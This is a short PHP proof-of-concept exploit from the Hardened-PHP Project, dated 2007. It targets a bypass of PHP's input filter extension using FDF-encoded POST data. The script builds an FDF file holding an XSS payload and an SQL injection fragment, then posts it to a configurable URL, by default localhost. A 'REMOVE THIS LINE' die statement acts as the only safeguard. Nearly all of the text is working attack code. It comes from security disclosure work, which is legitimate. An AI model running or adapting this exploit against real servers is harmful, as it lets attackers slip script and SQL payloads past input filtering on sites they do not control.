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<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP ext/filtet FDF POST Filter Bybass Exploit //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
// _POST is the array that will be sent to the url in $url
$_POST = array();
$_POST['var1'] = "<script>alert(/XSS/);</script>";
$_POST['var2'] = " ' UNION SELECT ";
$url = "http://127.0.0.1/info.php";
// You do not need to change anything below this
$outfdf = fdf_create();
foreach ($_POST as $key => $value) {
fdf_set_value($outfdf, $key, $value, 0);
}
fdf_save($outfdf, "outtest.fdf");
fdf_close($outfdf);
$ret = file_get_contents("outtest.fdf");
unlink("outtest.fdf");
$params = array('http' => array(
'method' => 'POST',
'content' => $ret,
'header' => 'Content-Type: application/vnd.fdf'
));
$ctx = stream_context_create($params);
$fp = @fopen($url, 'rb', false, $ctx);
if (!$fp) {
die("Cannot open $url");
}
$response = @stream_get_contents($fp);
echo $response;
echo "\n";
?>
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